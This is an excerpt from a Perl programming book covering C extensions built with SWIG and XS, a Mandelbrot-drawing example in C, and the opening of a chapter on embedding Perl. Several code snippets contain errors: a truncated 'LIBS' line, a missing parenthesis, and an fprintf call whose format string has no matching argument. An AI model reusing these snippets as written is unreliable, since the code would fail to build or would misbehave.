  6. "Building Application Generators." J. Craig Cleaveland. IEEE Software, July 1988.

  7. "Tools for Building Application Generators." J. Craig Cleaveland and Chandra M.R. Kintala. AT&T Technical Journal, July/August 1988.

  8. Thank You, Jeeves. P.G. Wodehouse. Aeonian Press, 1983.

Previous: 17.5 Sample Specification Parser | Advanced Perl Programming | Next: 18. Extending Perl:A First Course
17.5 Sample Specification Parser | Book Index | 18. Extending Perl:A First Course


[Chapter 18] Extending Perl:A First Course

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 17.6 Resources Chapter 18 Next: 18.2 Example: Fractals with Perl

18. Extending Perl:A First Course

Contents:
Writing an Extension: Overview
Example: Fractals with Perl
SWIG Features
XS Features
Degrees of Freedom
A Detour into Fractals
Resources

Thompson's rule for first-time telescope makers: "It is faster to make a four-inch mirror, then a six-inch mirror, than to make a six-inch mirror."

- Programming Pearls, Communications of the ACM, Sept. 1985

Scripting is almost always a more pleasant and productive alternative to using a systems programming language. Scripting languages aren't designed to do everything,[1] however, and there comes a time when you need to dig down to C/C++ for speed, fine-grained data structures, type safety, and access to existing libraries. The ability of languages such as Perl, Visual Basic, Python, and Tcl to integrate well with C accords them the status of a serious development language, in contrast to awk and early versions of BASIC, which were seldom used for production applications.

[1] In Perl's case, the definition of everything may be a bit hard to nail down!

In this chapter, we will examine what it takes to cement Perl and C code together and then study two tool sets that do a remarkable job of performing this binding for us. The first is a pair of tools called h2xs and xsubpp, packaged with the Perl distribution. For brevity, we will refer to this pair as XS,[2] because it involves an intermediate language of the same name. The other tool is SWIG (Simplified Wrapper and Interface Generator), written by Dave Beazley at the University of Utah.

[2] Both XSUB and XS stand for eXternal SUBroutine.

We'll cover an often-used subset of these tools' capabilities and learn that a lot can be achieved without having to know anything at all about the internal Perl API. But a number of powerful features will have to wait until the section "Meaty Extensions" in Chapter 20, Perl Internals.

This chapter requires you to have the following modules handy: C::Scan, Data::Flow, both required by h2xs and available from CPAN, and the gd library for creating GIF files, downloadable from www.boutell.com.

18.1 Writing an Extension: Overview

Figure 18.1 shows a file called testmatrix.pl making a call to an underlying Matrix library written in C. To bind the two sets of code together, we need to have some glue code, indicated by the dark gray boxes.

Figure 18.1: Calling C from Perl

XS and SWIG both create this glue code in two files - a Perl module and a C wrapper file - and address the following issues:

Data type translation

A Perl scalar argument can be translated to a fundamental C data type such as int, double, or char * (and vice versa) with ease. Dealing with a user-defined structure such as Matrix * or Vector * is trickier. $mat in Figure 18.1 holds a C pointer to a user-defined data type. Both xsubpp and SWIG are equipped with a type-mapping facility, which allows you to write custom code for handling translations between Perl and unfamiliar C data types. You have to know some internal API before you can write typemaps, so we will visit this issue again in Chapter 20.

Memory management

Perl automatically manages the memory allocated for user-defined variables, while C expects the programmer to spell out everything. This issue is especially important when data crosses the Perl-C interface. Unfortunately, a C function's signature gives no clue about its memory management protocol; it is difficult for humans to divine it, let alone automated tools such as SWIG and XS. Let us assume that the C matrix library stores its data as a series of Vector objects internally (each row is represented as a Vector), and that matrix_get_row returns the Vector corresponding to that row. As you can see, both new_matrix and matrix_get_row return a pointer to an object, but in the first case, the caller is expected to take ownership of the object (delete it when it is no longer required), and in the latter, the matrix library owns the memory. While the extension tools provide certain default choices, you have to be constantly on the watch. You should also ensure that the appropriate function deletes the memory - free, delete, or delete[], for objects allocated by malloc or C++'s new or new[], respectively.

Perl conveniences

A simple call such as

     ($a,$b,$c) = $mat->get_row(10);

exercises Perl features such as packages, variable number of function arguments, multiple return values from functions, OO notation, the wantarray functionality, and so on. An extension should strive to make a Perl programmer feel at home.

Bootstrapping and initialization

For the C library to be called from Perl, it needs to be statically or dynamically linked in to the Perl interpreter. The Perl module generated by XS and SWIG contains the code for bootstrapping and initializing the C library. (The rest of the functions described above are present in the C wrapper code.)

18.1.1 The Extension Process

C header files (such as Matrix.h) contain data structure declarations, preprocessor macros, publicly accessible variables, and function prototypes - essentially, the interface for a C library. You are typically not interested in making everything available to a Perl script; there's nothing worse than attempting C programming in Perl. In most cases, it suffices to export a subset of public functions, and some constants (which are available as initialized variables, #define's, or enums). We refer to them collectively as the public interface and extract them into a public header file.

Figure 18.2 shows how the Matrix library's header file is used as input for the two sets of tools.

Figure 18.2: SWIG and XS processes

The public header file may contain complex C declarations. SWIG expects you, the extension developer, to boil the interface down to a still simpler form and express it in its interface definition language. Fortunately, this language is close enough to ANSI C and simple C++ that a large number of header files don't need any translation at all. From the interface description, SWIG generates the glue code; in the Matrix case, it will be Matrix.pm and Matrix_wrap.c. If your system supports dynamic linking (shared libraries on Unix, and DLLs on Windows), and if the Perl executable has been built to use it, all that is left to be done is to convert the glue code and your C library into a dynamic library. If dynamic linking is not an option, then a new Perl executable is generated by statically linking the Perl archive library (libperl.a on Unix or perl.lib on Microsoft Windows) with the pieces of code mentioned above.

h2xs and xsubpp take a slightly different approach. h2xs understands C header files (but not C++) and converts all constants and function prototypes to a meta language called XS. But a function declaration may still be too complex for scripting purposes, so this approach expects you to twiddle with the .xs file produced by h2xs and take the necessary steps to simplify the interface. Of course, the hand conversion is unnecessary if the interface is already simple enough. The XS language is a mixture of C and funny keywords and provides directives for you to override the glue code produced by xsubpp.

Incidentally, the code generated by both tools is quite similar, and it is perfectly acceptable to have some extensions built using the XS approach and some using SWIG. Which brings us to the question: which one should you use?

18.1.2 SWIG or XS?

Differences in SWIG's and XS's features spring from differences in their design goals. SWIG is designed to help create a scripting language wrapper over a C library and supports Python, Tcl, and Guile in addition to Perl. In contrast, XS is designed only for Perl and allows for a number of Perlisms that SWIG cannot easily generalize to the other languages.

I prefer SWIG to the XS approach because it feels a lot cleaner, is far less internals-oriented than XS is, and supports multiple languages. In addition, it has excellent support for data structures (not just functions), whereas XS supports only functions. I build C++ and Java applications for a living, so my focus is typically more on the application than on the scripting frontend - I leave the choice of scripting language to the user. Your mileage may vary.

You'll find that all modules in the Perl distribution and on CPAN are currently written by using XS. The chief reason is that XS comes bundled with Perl. Besides, it has supported powerful features such as typemaps since its inception, whereas SWIG has been beefed up only recently. If you have to understand or modify any of the CPAN modules, you have to know XS.

Both tools provide significant degrees of freedom to compensate for most deficiencies, so my advice is to pick one and go with it.

Previous: 17.6 Resources | Advanced Perl Programming | Next: 18.2 Example: Fractals with Perl
17.6 Resources | Book Index | 18.2 Example: Fractals with Perl


[Chapter 18] 18.2 Example: Fractals with Perl

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

18.2 Example: Fractals with Perl

Enough general talk! Let us test-drive both tools using a simple piece of fractal-drawing code. This problem is tailor-made for C, because generating a fractal image involves performing a series of computations on every pixel, which calls for compact data structures and fast number-crunching. This exercise creates the familiar Mandelbrot set image shown in Figure 18.3.

Figure 18.3: Mandelbrot set

Our Mandelbrot code is implemented in mandel.c and mandel.h. To avoid a non-portable GUI solution, we use a public domain library, gd, written by Tom Boutell [14], which allows you to treat a GIF file as a canvas and render points, lines, and circles on it. This GIF file can then be viewed by using any web browser.

mandel.c implements one function called draw_mandel, with the signature shown in Example 18.1.

Example 18.1: Mandel.h

extern int
draw_mandel (char *filename,
              int width, int height,
              double origin_real, double origin_imag,
              double range, double depth);

The meaning of the parameters will be explained in the Section 18.6, "A Detour into Fractals," later in this chapter. First, we'll first concentrate on making it callable from Perl.

18.2.1 Fractals Using SWIG

We start by writing a SWIG interface file, Fractal.i, as in Example 18.2.

Example 18.2: Fractal.i - SWIG Interface File

%module Fractal
%{
#include "mandel.h"
%}
%include mandel.h

The %module statement gives a unique namespace to all the interface declarations in that file. We call the module Fractal because we would like to have one namespace for all fractal drawing code, and the Mandelbrot set is only one of many choices.

The statements between %{ and %} are meant for "raw" C code. We include mandel.h here because the interface file is soon going to be converted to C glue code, which in turn needs this header. Now comes the portion where all data structures and exported functions (with complete signatures) are to be listed. Since the interface file format is very close to ANSI C, we can simply %include mandel.h. Unlike the first include, which began with a # because it is called later from C code, this include starts with % because it is called immediately within SWIG.

Next, we invoke SWIG on this interface file and specify perl5 as the scripting language:

% swig -perl5 Fractal.i
Generating wrappers for Perl 5
% ls
mandel.h     mandel.c        Fractal_wrap.doc
Fractal.i    Fractal.pm      Fractal_wrap.c

SWIG creates four files from the interface file. Fractal.pm contains some code to make the C library dynamically loadable. Fractal_wrap.c contains the wrapper code; for a function foo listed in the interface file, this wrapper file contains a function called _wrap_foo that translates Perl argument values to C, calls foo, and packages the return results back into Perl data types. You don't have to understand the contents of Fractal.pm and Fractal_wrap.c. SWIG also extracts all documentation out of the interface file into Fractal_wrap.doc (ASCII), or Fractal_wrap.html (HTML), or Fractal_wrap.tex (LaTeX).

All we have left to do is to compile the two .c files and make them dynamically loadable.[3] SWIG (as well as XS) simplifies this part again by helping you create a makefile. Because a makefile is dependent on machine- and site-specific details such as operating system peculiarities, compiler, linker options, Perl installation directories, the name and location of the C compiler, and so on, these tools do not generate a makefile directly. Instead they generate a Perl script called Makefile.PL, which, when executed, produces a makefile that is customized for your system. This script is very simple, shown here after manually adding the LIBS and OBJECT lines:

use ExtUtils::MakeMaker;
WriteMakefile(
    'NAME'       => 'Fractal',    # Name of module
    'LIBS'       => [M    # All custom libraries to be linked with
    'OBJECT' => 'mandel.o Fractal_wrap.o'  # All object files
);

[3] Since this is a much simpler option than static linking, and since most self-respecting operating systems support it, we consider only dynamic linking in this book.

The standard ExtUtils::MakeMaker module does all the magic of finding out about the configuration of your system and creating a custom makefile.

The next three steps build and install this extension:

% perl Makefile.PL      # create Makefile
% make                  # compiles sources and creates shared library
% make install          # optional. installs library

(How much easier and more portable do you want it to get?)

We are now all set to create fractal images. The following call to draw_mandel() creates the beautiful image shown in Figure 18.3.

use Fractal;
Fractal::draw_mandel('mandel.gif', 300, 300,  # file, width, height
                      -1.5, 1.0,              # origin x, y
                       2.0, 20);              # range, max iterations

Since the chief purpose of this chapter is to illustrate writing extensions, we'll (reluctantly) put off the discussion of draw_mandel to the end.

18.2.2 Fractals Using XS

The XS process is also extremely straightforward. h2xs understands normal C header files, so a fractal extension is produced as follows:

% h2xs -x -n Fractal mandel.h

This creates Fractal.pm, the Perl module, Makefile.PL, the makefile-generating script, and Fractal.xs. At this point, you don't need to know what this file contains.

Since Makefile.PL is automatically generated, you will need to add or modify the OBJECT and LIB lines, as shown earlier. The build and install are identical to what we saw earlier:

% perl Makefile.PL
% make
% make install

The makefile generated in the first step notices Fractal.xs, and feeds it to xsubpp to create the glue code in Fractal.c. Note that the name is not Fractal_wrap.c as with SWIG, so the OBJECT line in Makefile.PL should look like this:

'OBJECT' => 'mandel.o Fractal.o' # mandel.o contains the real function
                                 # Fractal.o contains the glue code

Previous: 18.1 Writing an Extension: Overview | Advanced Perl Programming | Next: 18.3 SWIG Features
18.1 Writing an Extension: Overview | Book Index | 18.3 SWIG Features


[Chapter 18] 18.3 SWIG Features

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

18.3 SWIG Features

Having completed a tour of the extension process, let's zoom in for a closer look at SWIG's compendium of features. We mentioned earlier that SWIG handles a useful subset of ANSI C/C++, which means support for data structures as well as functions. Specifically, it supports the following:

Constants and global variables

A C variable can be exported into Perl space as a scalar variable of the same name. SWIG supports the fundamental C data types, enums, and #defined constant values. Variables of complex or user-defined types are automatically mapped to a pair of get/set accessor functions.

Pointers

Every pointer is treated as a void * by default, regardless of whether it is a char** or Matrix* or double ***. This strategy works especially well for user-defined types, because most C libraries don't expect you to dereference such pointers. For example, fopen returns a FILE *, which is simply handed over to fread() and fwrite(). In Perl, this pointer is available as a scalar, and Perl doesn't have to know whether the pointer refers to an array, structure, or a typedef. On the other hand, if you want a Vector * to a list of integer-valued scalars, you will have to help SWIG out by providing a typemap.

Typemaps

Not every data type is a simple conversion from Perl to C or vice versa. SWIG (like xsubpp) provides a way for you to write arbitrary transformations, such as converting a Perl array to a 10-by-10 matrix. To write a typemap, you need to know Perl's API for accessing its internal data types, so we'll cover this topic in the section "SWIG Typemaps" in Chapter 20. Typemaps can be applied not just to function parameters, but also to structure members and global variables. You can also optionally create named typemaps, which apply to specific named entities (function arguments, variable names, function names), instead of all entities of that type.

Arrays

Both simple arrays (vector[100]) and multidimensional arrays (vector[10][10]) are mapped to a simple pointer (vector *). Typemap support for arrays exists, but there are still a number of thorny issues for which SWIG cannot provide a general solution; please read the SWIG documentation for details.

Structures and C++ classes

SWIG automatically creates accessor functions for each member of a structure or class defined in the interface file. As with the other facilities, these declarations cannot have the full generality of a C structure or a C++ class, but they are powerful enough for handling most common interface issues.

Methods

SWIG provides constructor and destructor procedures, which allow you to allocate and free C structures from Perl space. You can convert basic C structures to objects in Perl space with a primitive called %addmethods.

Ordinary functions

SWIG creates function wrappers that look pretty similar to their C equivalents. Each parameter can be optionally typemapped, but since a typemap provides a translation in isolation (from other parameters), the number of parameters cannot be changed. This is not a constraint in XS.

In other words, with SWIG you cannot map the C function

    char ** permute(char *string); // returns permutations of string

to

    @array = permute ($str);

because one parameter, char**, needs conversion to a variable number of scalars (to be assigned to @array). You can instead write a typemap to convert the char** to an array and return its reference, so in Perl space, it is accessible this way:

    $rarray = permute ($str);
    print join(' ', @$rarray);

Of course, you can always write a wrapper Perl function and insert it in the .pm file created automatically by SWIG:

    sub fancy_permute {
        @{permute($_[0])}; # dereferences array
    }
Default and optional parameters

Parameters can have default values but, as in C++, can be applied only to the rightmost parameters. This is how you specify the function signature in the interface file:

    draw_mandel (file,width,height,orig_real,orig_imag,range,depth=30);

This allows you to optionally skip the last parameter when calling from Perl.

Centralized exception handling

SWIG provides a %except directive to wrap all external library calls inside a generic exception handler. This way you can trap all user-defined errors and C++ exceptions in one central place and translate them into Perl exceptions. Please see the SWIG documentation for examples.

Shadow classes

SWIG optionally creates wrapper Perl code that allows you to access member attributes and functions of C or C++ objects using the Perl hash notation, $person->{age}. This mechanism is built on top of the attribute accessor functions mentioned earlier.

Nested structures

An embedded structure gets the same treatment as an outermost structure - accessor functions and support from shadow classes.

The following interface file shows an example of using classes, accessing methods, and creating shadow classes:

%module Graphics

class Shape {
public:
    int x, y; // origin
    int w, h; // width, ht (defines bounding area)
    draw();
};
class Polygon : public Shape {
public:
    Polygon(int x, int y, int w, int h);
    draw();
};

We invoke SWIG with the -c++ option, since it is not enabled by default, and the -shadow option for creating shadow classes:

% swig -c++ -shadow Graphics.i

SWIG sets up an identical inheritance hierarchy in script space, and using this class in Perl feels completely natural:

use Graphics;
$poly = new Polygon(10, 10, 30, 40);
printf "Origin: %d %d \n", $poly->{x}, poly->{y};
$poly->draw();

You'll be happy to know that SWIG properly handles the relationship between base classes and derived classes. For example, a function involving a base class will recognize pointers that have been blessed into a derived class. In the case of multiple inheritance, SWIG performs proper C++ type-casting to make sure the pointer values are correct. XS has no such feature.

While the shadow class feature is convenient, you should be aware that for every instance generated using new, an additional object is created internally. The reason is that to support the member access notation ($poly->{x}), new returns a tied hash, whose FETCH subroutine calls the appropriate accessor function. You know by now that the tie facility interposes an intermediate object.

Previous: 18.2 Example: Fractals with Perl | Advanced Perl Programming | Next: 18.4 XS Features
18.2 Example: Fractals with Perl | Book Index | 18.4 XS Features


[Chapter 18] 18.4 XS Features

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

18.4 XS Features

XS, as we mentioned earlier, is an interface definition language. Unlike SWIG, XS concentrates solely on C functions and #define'd constants and does not provide any support for struct or class definitions (although there are plans for doing so in the future). In practice, I haven't missed this support for structures and classes too much because I rarely export data structures, in keeping with encapsulation principles.

The XS approach allows you to modify the XS file and supply glue code (in C) in varying degrees. It is analogous to C or Pascal compilers that allow you to insert native assembly code within a program. This gives a lot of power if you know what you are doing, but requires you to be conversant with the internal Perl API and protocols.

By modifying the XS file, you can create write function wrappers that take a variable number of input parameters, modify some input parameters (as read does), and return an array of result values. Combine this with the ability to write custom typemaps and modify the Perl module (produced by h2xs), and you have several ways of creating extensions.

Let us take a brief look at XS syntax. Fractal.xs, from our earlier example, looks like this in its most essential form:

#include <mandel.h>

MODULE = Fractal    PACKAGE = Fractal

int
draw_mandel (filename,width,height,origin_real,origin_imag,range,depth)
      char*  filename
      int    width
      int    height
      double origin_real
      double origin_imag
      double range
      double depth

All text preceding a MODULE statement is considered to be raw C code and is sent untranslated into the Fractal.c, the glue code (like the %{ ... %} block in SWIG). An XS module can contain more than one package, but since this is not typical, the MODULE and PACKAGE keywords have the same value. All exportable functions are listed in a special way. The return type comes first, on its own line (you must specify void in the absence of a return type), then the name of the function with a list of parameter names, and, finally, each parameter on a separate line. It is important to keep the "*" along with the type, not the name - you must say char* filename, not char *filename. The next function declaration simply starts after a blank line.

18.4.1 What Does xsubpp Do?

It pays to understand a little bit about the glue code generated by xsubpp. When xsubpp is given the XS snippet shown above, it creates a function called Fractal_xs_draw_mandel (in Fractal.c) with the same signature as the XS declaration. This function translates the arguments supplied in Perl space to the C function's parameters, calls the real draw_mandel function, and finally packages its return value into a Perl value.

XS provides several keywords to either inject your own code at suitable locations inside the generated function or completely replace the generated glue code with your own. For example, you can write typemap functions that handle how Perl arguments get translated to C; you can use the CODE keyword (described later) to specify that you are supplying your own code.

With this brief overview in mind, let us now look at a few of the important aspects of the XS language.

18.4.2 Default and Optional Parameters

Parameters can have default values but, as in C++, can be applied only to the rightmost parameters:

draw_mandel (file,width,height,orig_real,orig_imag,range,depth=30)

This allows you to optionally skip the last parameter when calling from Perl.

18.4.3 Modifying Parameters

XS allows you to modify parameters before they are given to the real draw_mandel function:

int
draw_mandel (filename,width,height,origin_real,origin_imag,range,depth)
      char*  filename
      int    width
      int    height
      double origin_real
      double origin_imag
      double range
      double depth
    INIT:
    if (width > 400) {
        fprintf (stderr, "Width cannot exceed 400. Truncating.\n";
        width = 400;
    }

The INIT: keyword tells XS to insert the code following it between the argument translation (from Perl to C) and the call to the real function.

In SWIG, you would use a named typemap for the same effect. The XS approach, however, allows you to make a decision based on more than one parameter. For example, if you had to maintain a certain aspect ratio, you would have to look at both width and height and modify one of them. A typemap cannot give you this flexibility because it looks at each parameter in isolation.

Incidentally, the PREINIT: keyword can be used to insert variable declarations; xsubpp puts these declarations ahead of any generated code. Of course, this keyword is not important if you compile the glue code with a C++ compiler, since it allows you to declare variables anywhere in the code.

18.4.4 Special Code

You can write the glue code yourself if you want. Consider the sin() function in the math library, which requires you to supply the angle in radians. You can create a new function in Perl to accept the angle in degrees using the CODE keyword, like this (the indentation scheme is arbitrary):

double
d_sin(angle)
   double angle
  CODE:
   RETVAL = sin(angle  * PI / 180);
  OUTPUT:
   RETVAL

When xsubpp sees the CODE keyword, it just maps the arguments from Perl data types to C types and leaves you to supply the rest of the code, which means that you have to make the call to the underlying external subroutine yourself. The CODE directive does not change the essential structure of the C call; you can modify input parameters and you can return at most one result value.

The OUTPUT: directive tells xsubpp to supply some code to package the returned result and load it back into Perl space. RETVAL is automatically declared by xsubpp to match the return value of the function. In the preceding example, the return value of sin() is the only output parameter and is listed under OUTPUT.

The CODE directive does not help if you want a variable number of input parameters or returned results. In this case, you use the PPCODE directive and explicitly manage the entire argument stack. We will have more on this in Chapter 20.

Please take a look at the XS documentation for other keywords, details, and examples.

18.4.5 C++ Code

XS supports two special procedures for automatically creating and deleting C++ objects. Consider the following XS code for a module called Car:

Car*
Car::new()

void
Car::DESTROY()

void
Car::turn_left()

When you say new Car in Perl, the wrapper code corresponding to Car::new makes the C++ invocation, new Car(). Later on, when you say in Perl space, $car->turn_left(), the appropriate C++ function is automatically called. If you want to supply CODE or PPCODE directives for C++ interfaces, you can refer to the object as THIS and to the class as CLASS.

This example has one hitch. It has no clue what's in the data type Car. Unlike SWIG, which quite unconcernedly treats a Car* like a void*, xsubpp expects help in the form of a typemap. Since we need to know the internal Perl API to create a typemap, we'll leave this issue unresolved until Chapter 20.

Previous: 18.3 SWIG Features | Advanced Perl Programming | Next: 18.5 Degrees of Freedom
18.3 SWIG Features | Book Index | 18.5 Degrees of Freedom


[Chapter 18] 18.5 Degrees of Freedom

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

18.5 Degrees of Freedom

Before we conclude the essential part of this chapter, let us quickly recap all the places where you can plug in code to help XS and SWIG produce a smooth interface (for the script programmer):

Perl module

So far, the Perl module produced by these tools has been used only to bootstrap the C code, but there's no reason why it shouldn't have some custom subroutines too. The XS example presented earlier, in the "Modifying Parameters" section, could easily have been implemented in Perl space.

Typemaps

Supply snippets of code to convert between Perl and C data types.

Wrapper code in the interface files

The CODE and PPCODE directives allow you to insert a variety of custom translation tasks. In SWIG, you can inline custom C code as follows:

    %module FunMath
    %inline %{
        int factorial(int n){return (n == 1) ? 1 : n *(n -1)};
    %}

Previous: 18.4 XS Features | Advanced Perl Programming | Next: 18.6 A Detour into Fractals
18.4 XS Features | Book Index | 18.6 A Detour into Fractals


[Chapter 18] 18.6 A Detour into Fractals

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

18.6 A Detour into Fractals

This chapter would be incomplete and dry without a small foray into Mandelbrot sets and the implementation of draw_mandel.

For starters, I highly recommend Ivars Peterson's book The Mathematical Tourist [13] for its engaging style and treatment of a surprisingly wide set of mathematical topics. We'll begin by assuming that you already know about complex numbers.

We know that a complex number a + b i is composed of two parts, the real part a, and the imaginary part b, that taken together constitute a point on a graph. Now consider the expression z = z2 - 1, where z is a complex number. We start with a complex number (z0) and plot it. We then substitute it in the above expression to produce a new complex number and plot this number. This exercise is repeated, say, 20 or 30 times. We find that different starting values of z0 result either in this series trailing off to infinity, or remaining confined within a boundary. All z0's that result in a bounded series belong to a Julia set, named after the mathematician Gaston Julia. In other words, if we plot all the z0's that result in a bounded series, we will see a nice fractal picture (no, not the one we saw earlier).

Now, let us make the equation a bit more general: z <- z2 + c, where c is a complex number (the discussion above was for c = -1 + 0i). Now, if we plot the Julia sets for different values of c, we find that some plots show beautiful connected shapes while other disperse into a cloud of disconnected dots. Clearly, we are interested only in the former; all values of c that result in such nice-looking Julia sets are said to belong to the Mandelbrot set, after Benoit Mandelbrot.

Calculating the Mandelbrot set is obviously a pain, because for every c (an infinite set), you have to plot the Julia set to see whether it disperses or not. Enter mathematicians John Hubbard and Adrien Douady. They proved that for a given value of c, it is enough to check whether a starting point of z0 = 0 (that is, 0 + 0i) results in a bounded sequence. If it does, then that value of c yields a connected (nondispersing) Julia set. It has also been proven that all c's belonging to the Mandelbrot set are contained within a small area that "looks like a small pimply snowman on his side," as Ivars Peterson puts it. This is the white central area inside Figure 18.3, extending from -2 to +0.5 on the x-axis, and from -1.0 to +1.0 on the y-axis. So as soon as the series goes beyond 2, you know that it is not bounded, and, consequently, c is not going to be a part of the Mandelbrot set. To lend some more visual interest to the figure, we attempt to assign a color to every point within our viewing window, whether it belongs to the Mandelbrot set or not. Those that belong to this set are colored white, and those that don't are given a gray color, depending on how far the corresponding series attempts to jump out of the boundaries.

draw_mandel (contained in the file Fractal.c and shown in Example 18.3) implements the algorithm described previously. The parameters are explained below, and the values that generated Figure 18.3 are shown in parentheses:

filename

The name of the GIF file to produce.

width, height (400, 400)

The width and height of the GIF image in number of pixels.

origin_real, origin_imag (-1.4,1.0)

What the top-left pixel corresponds to, given as a complex number.

range (2.0)

The width and height spanned in the complex number plane. If the origin is -1.0 + 1.4i and the range is 2, the figure spans -1.0 + 1.4i to 1.0 - 0.6i (y decreases from top to bottom, x increases from left to right). If you reduce this number, the canvas is devoted to a smaller area of the complex plane. Consequently, range works as a zoom factor, the image varying inversely with this value.

max_iterations (20)

The number of times one should iterate through z <- z2 + c before giving up to check before deciding whether the series is bounded.

Example 18.3: mandel.c

#include <math.h>
#include <stdio.h>
#include <gd.h>
typedef struct {
    double r, i;
} complex;

int draw_mandel (char *filename,
                  int width, int height,
                  double origin_real,
                  double origin_imag,
                  double range,
                  double max_iterations)
{
    complex    origin;
    int        colors[51], color, white, x, y, i;
    FILE       *out;
    gdImagePtr im_out;

    origin.r = origin_real;  /* Measured from top-left */
    origin.i = origin_imag;

    if (!(out = fopen(filename, "wb"))) {
        fprintf(stderr, "File %s could not be opened\n");
        return 1;
    }

    im_out = gdImageCreate(width, height); /* Create a canvas */
    /* Allocate some gray colors. Start from black, and increment r,g,b
       values uniformly. This has the effect of varying the luminosity,
       while keeping the same hue.
       (Black = 0,0,0 and white = 255, 255,255 */
    for (i = 0; i < 50; i++) {
        color = i * 4;
        colors[i] = gdImageColorAllocate(im_out, color,color,color);
    }
    white = gdImageColorAllocate(im_out, 255,255,255);
    /* For each pixel on the canvas do ... */
    for (y = 0; y < height; y++) {
        for (x = 0; x < width; x++) {
            complex z, c ;
            int  iter;
            /* Convert the pixel to an equivalent complex number c,
               given the origin and the range. The range acts like an
               inverse zoom factor.*/

            c.r = origin.r + (double) x / (double) width * range;
            c.i = origin.i - (double) y / (double) height * range;

            /* Examine each point calculated above to see if repeated
               substitutions into an equation like z(next) = z**z + c
               remains within a definite boundary.
               If after <max_iterations> iterations it still hasn't gone
               beyond the white area, it belongs to the Mandelbrot set.
               But if it does, we assign it a color depending on how
               far the series wants to jump out of bounds*/
            color = white;
            z.r = z.i = 0.0; /* Starting point */
            for (iter = 0; iter < max_iterations; iter++) {
                double dist, new_real, new_imag;
                /*calculate  z = z^2 + c */
                /* Recall that z^2  is a^2 - b^2 + 2abi, if z = a + bi, */
                new_real = z.r * z.r - z.i * z.i + c.r;
                new_imag = 2 * z.r * z.i + c.i;
                z.r = new_real; z.i = new_imag;
                /* Pythagorean distance from 0,0 */
                dist = new_real * new_real + new_imag * new_imag;
                if (dist >= 4) {
                    /* No point on the mandelbrot set is more than 2 units
                       away from the origin. If it quits the boundary, give
                       that 'c' an interesting color depending on how far
                       the series wants to jump out of its bounds */
                    color = colors[(int) dist % i];
                    break;
                }
            }
            gdImageSetPixel(im_out, x,y, color);
        }
     }
    gdImageGif(im_out,out);
    fclose(out);
    return 0;
}

Previous: 18.5 Degrees of Freedom | Advanced Perl Programming | Next: 18.7 Resources
18.5 Degrees of Freedom | Book Index | 18.7 Resources


[Chapter 18] 18.7 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

18.7 Resources

  1. SWIG. David Beazley.

    Download freely from http://www.swig.org/. SWIG is packaged with around 200 pages of wonderful tutorial-style documentation, containing plenty of interesting examples. While you are there, please take a look at Dave's papers on applying SWIG to large-scale projects.

  2. perlxstut, by Jeff Okamoto, and perlxs, by Dean Roehrich.

    These two standard Perl documents provide a tutorial and a reference, respectively, for XS. You must be conversant either with Chapter 20 or the Perl internals documentation (perlguts). (The former is a slightly gentler introduction.)

  3. Standard extensions

    The Socket, POSIX, and SDBM modules supplied with the Perl distribution make good case studies for applying XS.

  4. XS Cookbook. Dean Roehrich.

    These cookbooks are available from CPAN (look under the authors/Dean_Roehrich directory) and provide solutions to a number of sample problems covering all XS features. Highly recommended. You may also find it a good exercise to solve these problems using SWIG.

  5. The Mathematical Tourist. Ivars Peterson. W.H.Freeeman and Co., 1988

  6. GD library for rendering into GIF files. Tom Boutell. Download from http://www.boutell.com/.

Previous: 18.6 A Detour into Fractals | Advanced Perl Programming | Next: 19. Embedding Perl:The Easy Way
18.6 A Detour into Fractals | Book Index | 19. Embedding Perl:The Easy Way


[Chapter 19] Embedding Perl:The Easy Way

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 18.7 Resources Chapter 19 Next: 19.2 Embedding Overview

19. Embedding Perl:The Easy Way

Contents:
Why Embed?
Embedding Overview
Examples
Adding Extensions
Resources

A rock pile ceases to be a rock pile the moment a single man contemplates it, bearing within him the image of a cathedral.

- Antoine de Saint-Exupery

Much as there are reasons for writing C extensions for Perl, there are any number of reasons to execute Perl scripts from within C/C++ applications; we refer to this activity as embedding the Perl interpreter. Embedding does not mean that we wish to conceal the interpreter; it just indicates that the application retains overall control and, when required, makes calls to the Perl internal API.

This chapter introduces a simple API for embedding the Perl interpreter in your C application. These functions are not standard (that is, they have been introduced in this book), and shield you from having to know anything at all about Perl internals, reference counting, memory management, and calling conventions. Although these details will be discussed in the next chapter, you shouldn't have to know them to get useful work done. The perlembed document written by Jon Orwant and Doug MacEachern [7] provides a fine tutorial-style coverage of this subject, but expects you to be conversant with the internals.

19.1 Why Embed?

A C application can make use of a scripting language in different ways:

Power through scripted extensions

Applications such as Emacs, Microsoft Office, and Autocad provide scripting language frontends. Although they work reasonably well on their own, their real power comes from the large community of developers writing scripted extensions. To paraphrase Brian Kernighan, a good tool is one that is used in ways its developers never thought of. The calc package in Emacs is capable of doing symbolic mathematics, for example. Who would have thought of putting this in a text editor?! [1]

[1] Of course, vi folks would ask why ?

As glue

Emacs is an excellent example of an application that implements its basic functionality in C for speed and operating system interfaces and everything else in LISP (it has an embedded LISP interpreter), which provide the necessary glue for the C code. The editor won't even start without some crucial LISP code.

Using the scripting language's power

I once had to work on a Unix-based application talking to a mainframe. The files coming off the mainframe were curiously formatted, and of course, wouldn't match the specifications. Since munging files is so much easier in Perl than in C, I used Perl scripts and an embedded Perl interpreter to parse these files so that I could change the parsing strategy at will.

I could have chosen the easier option of spawning an external Perl script using system(3) or popen(3) and fetching its output from a temporary file or a pipe. This approach works very well for a large number of applications, as is evident from the success of CGI. There is much to be said for separating application functionality into two separately debuggable programs. But it wasn't fast enough for my application. Additionally, the data flowing across the interface wasn't simple enough, so I would have had to write a lot of code to format this data on one end and to parse it on the other. Spawning external scripts has the additional problem that it doesn't give you a persistent context. That is, every time you launch a Perl script, it doesn't remember anything from the time it was last invoked, and it would have to reopen socket connections, database connections, restart transactions, and so on. An identical approach is taken by the Apache web server [8].

Better C code

Writing a scripting frontend forces you to simplify the interface functions to ease the integration with the scripting language. Happily enough, this also makes life easy for other C programmers using your libraries.

Instrumentation

